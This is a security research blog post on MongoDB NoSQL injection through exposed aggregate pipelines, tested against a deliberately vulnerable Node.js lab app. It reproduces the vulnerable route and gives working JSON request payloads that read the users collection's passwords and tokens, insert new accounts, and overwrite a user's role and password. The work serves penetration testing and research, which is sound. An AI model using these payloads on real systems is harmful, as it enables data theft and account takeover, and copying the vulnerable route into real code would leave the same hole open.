Story
Last August (2023), while assisting with the NoSQL lab module for PortSwigger Web Academy, I discovered that, in rare cases, it is possible to access other collections when performing an injection attack in MongoDB. This wasnāt included in the training material due to its rarity and seemed more suited for a research topic. Although Iāve been busy since then and havenāt had the chance to explore it further, I believe publishing my findings could still benefit some security researchers.
Background
If you are not familiar with NoSQL injection attacks, I recommend studying it through PortSwiggerās Web Academy (https://portswigger.net/web-security/nosql-injection) to better understand the topic.
Hereās a brief introduction to the problem weāre tackling:
When a MongoDB NoSQL injection occurs, the data the user can access depends on where the vulnerability is and which collection is being used. For those familiar with traditional SQL databases, think of ācollectionsā in MongoDB as ātablesā, and ādocumentsā as ārowsā. If the injection happens in the āfindā method, data access is limited to the defined collection, which may not contain any sensitive data. This is why some clients might not consider a MongoDB NoSQL injection attack valuable.
This post explores a scenario where the āaggregateā function in MongoDB is exposed and vulnerable to NoSQL injection attacks, increasing the impact by allowing:
- Reading data from other collections
- Adding data
- Updating data
Details
A test case has been created to practice this in a VM, available at https://github.com/irsdl/vulnerable-node-app/. This is a modified version of a repository by Charlie Belmer to try different cases of NoSQL injection attacks.
Imagine a NoSQL injection attack where users cannot control the collection name via input parameters but can control an aggregate. Hereās a vulnerable Node.js code example:
productRoutes.route('/lookup_agg').post(function(req, res) { let query = req.body; if (typeof query !== 'undefined' && Object.keys(query).length > 0) { console.log("request " + JSON.stringify(query)); console.log("MongoDB query: " + JSON.stringify(query)); Product.aggregate(query) .then(products => { console.log("Data Retrieved: " + products); res.json({products}); }) .catch(err => { console.log(err); res.json(err); }); } else { res.json({}); } });
The following HTTP request and its JSON response show an example:
POST /product/lookup_agg HTTP/1.1Host: vulnerable.lab:4000Content-Type: application/jsonContent-Length: 53[ { "$match": {"name": "Apple Juice"} }]Response body:
{"products":[{"_id":"66773d7c85bf15c9d920fe9d","name":"Apple Juice","category":"soft","released":true,"quantity":"30","__v":0}]}In this case, the vulnerability occurs in the āproductsā collection. Therefore, the following request to return all fields wonāt result in much value:
POST /product/lookup_agg HTTP/1.1Host: vulnerable.lab:4000Content-Type: application/jsonContent-Length: 32[ { "$match": {} }]Response body:
{"products":[{"_id":"66773d7c85bf15c9d920fe9d","name":"Apple Juice","category":"soft","released":true,"quantity":"30","__v":0},{"_id":"66773d7c85bf15c9d920fe9e","name":"Orange Juice","category":"soft","released":true,"quantity":"100","__v":0},{"_id":"66773d7c85bf15c9d920fe9f","name":"Coke","category":"fizzy","released":true,"quantity":"50","__v":0},{"_id":"66773d7c85bf15c9d920fea0","name":"Golden Bear","category":"alcohol","released":false,"quantity":"1","__v":0}]}How to Identify if itās an Aggregate in Black-Box Testing?
In MongoDB, the aggregate method always expects an array of aggregation stages as its first argument. Therefore, look for JSON arrays as a parameter. The ā$matchā and ā$lookupā operators in a JSON request can also indicate the use of the aggregate method.
Tricks for NoSQLi in Aggregates
Here are some tricks you can perform when dealing with NoSQLi in an aggregate. ChatGPT was quite helpful in explaining these examples during my testing!
A) Reading Data from Other Collections
A.1) Using $lookup with a Dummy Field:
Itās possible to use ā$lookupā to access other collections. The following HTTP request shows how the āusersā collection could be accessed using this:
POST /product/lookup_agg HTTP/1.1Host: vulnerable.lab:4000Content-Type: application/jsonContent-Length: 200[ { "$lookup": { "from": "users", "localField": "Dummy-IdontExist", "foreignField": "Dummy-IdontExist", "as": "user_docs" } }, { "$limit": 1 }]Here, ā$lookupā performs a left outer join to another collection, and ā$limitā restricts the number of documents. The limit was used to avoid repeating all users per product. We only want all users once!
Response body snippet was:
{"products":[{"_id":"66773d7c85bf15c9d920fe9d","name":"Apple Juice","category":"soft","released":true,"quantity":"30","__v":0,"user_docs":[{"_id":"66773d7c85bf15c9d920fe95","username":"guest","first_name":"","last_name":"","email":"[emailĀ protected]","role":"guest","password":"password","locked":false,"resetPasswordToken":"","__v":0},ā¦,{"_id":"66773d7c85bf15c9d920fe97","username":"carlos","first_name":"Scary","last_name":"Ghost","email":"[emailĀ protected]","role":"user","password":"abc123","locked":true,"resetPasswordToken":"iioldsgiaioaiejiejirj0ifgsi","__v":0}]}]}If dummy fields are not ideal, we can use the ā__vā field, which is automatically created by Mongoose, an Object Data Modelling (ODM) library for MongoDB and Node.js. This field is used to store the version of the document for internal purposes, particularly for handling document updates and preventing concurrent modifications.
A.2) Using Union
ā$unionWithā combines the results of separate queries into one array, similar to āunion allā in a traditional SQL database. We can use it to get usersā data like this:
POST /product/lookup_agg HTTP/1.1Host: vulnerable.lab:4000Content-Type: application/jsonContent-Length: 229[{ "$match": {"foo":"bar"} }, { "$unionWith": { "coll": "users", "pipeline": [ { "$addFields": { "collection": "users" } } ] } }]ā$matchā was used with dummy data as we are not interested in seeing the productsā fields!
If using dummy data is not ideal, the following can be used instead:
{ "$match":{"_id":{"$exists":false}}}B) Adding/Inserting Data
Injection via aggregates can also be used to create new documents or collections, or to rewrite existing ones. However, testers will still need to guess the data schema and some of their values before adding any data.
The following HTTP request shows an example of how a new user could be added to the database:
POST /product/lookup_agg HTTP/1.1Host: vulnerable.lab:4000Content-Type: application/jsonContent-Length: 434[ { "$limit": 1 }, { "$replaceWith": { "username": "newUser", "first_name": "New", "last_name": "User", "email": "[emailĀ protected]", "role": "user", "password": "password123", "locked": false, "resetPasswordToken": "" } }, { "$merge": { "into": "users", "whenMatched": "merge", "whenNotMatched": "insert" } }]This can then be verified by getting a list of users from the users collection.
Note: Ensure that the limit is used as shown above to prevent adding multiple documents to the database!
C) Updating Data
The aggregate method in MongoDB also allows changing data in different collections.
To modify data with ā$replaceWithā, the ā_idā field of the target document is needed. The following HTTP request shows how a userās data could be modified in the designed lab:
POST /product/lookup_agg HTTP/1.1Host: vulnerable.lab:4000Content-Type: application/jsonContent-Length: 379[ { "$limit": 1 }, { "$replaceWith": { "_id": { "$toObjectId": "66773d7c85bf15c9d920fe97" }, "role":"admin", "password": "NewPassword123?", "locked": false, "resetPasswordToken": "1234567890" } }, { "$merge": { "into": "users", "whenMatched": "merge", "whenNotMatched": "fail" } }]The ā_idā field could be obtained by sending the following JSON request:
[ { "$unionWith": { "coll": "users" } }, { "$match": { "username": "carlos" } }, { "$project": { "_id": 1 } }]However, if we do not have the ā_idā field, modification is still possible using the following HTTP request as an example:
POST /product/lookup_agg HTTP/1.1Host: vulnerable.lab:4000Content-Type: application/jsonContent-Length: 421[ { "$unionWith": { "coll": "users" } }, { "$match": { "username": "carlos" } }, { "$set": { "role": "admin", "password": "NewPassword123! ", "locked": false, "resetPasswordToken": "1234567890" } }, { "$merge": { "into": "users", "on": "_id", "whenMatched": "merge", "whenNotMatched": "fail" } }]This approach uses ā$unionWith" to include documents from the āusersā collection, matches the specific user document by username, updates the fields, and finally merges the updated document back into the users collection. Itās crucial to mention that if multiple fields are matched, they will all be updated, which might corrupt the data. Therefore, avoid using Regular Expressions or a matching rule that might select more than one document in a collection.
Some Thoughts for Further Research
I have not found a method to delete a document from a collection using aggregate. It would be interesting if someone could figure out how to delete Carlos!
In the MongoDB Aggregation Framework, the ā$functionā and ā$accumulatorā operators can run JavaScript, which may be useful in certain cases.
There are many other MongoDB methods that could be exposed by mistake and then exploited by NoSQL injection attacks. For instance, I havenāt seen much research on methods such as āupdateManyā or āupdateOneā (NoSQLi when updating documents). It would be interesting to see what happens when these methods are exposed and how they can be abused to increase the impact.
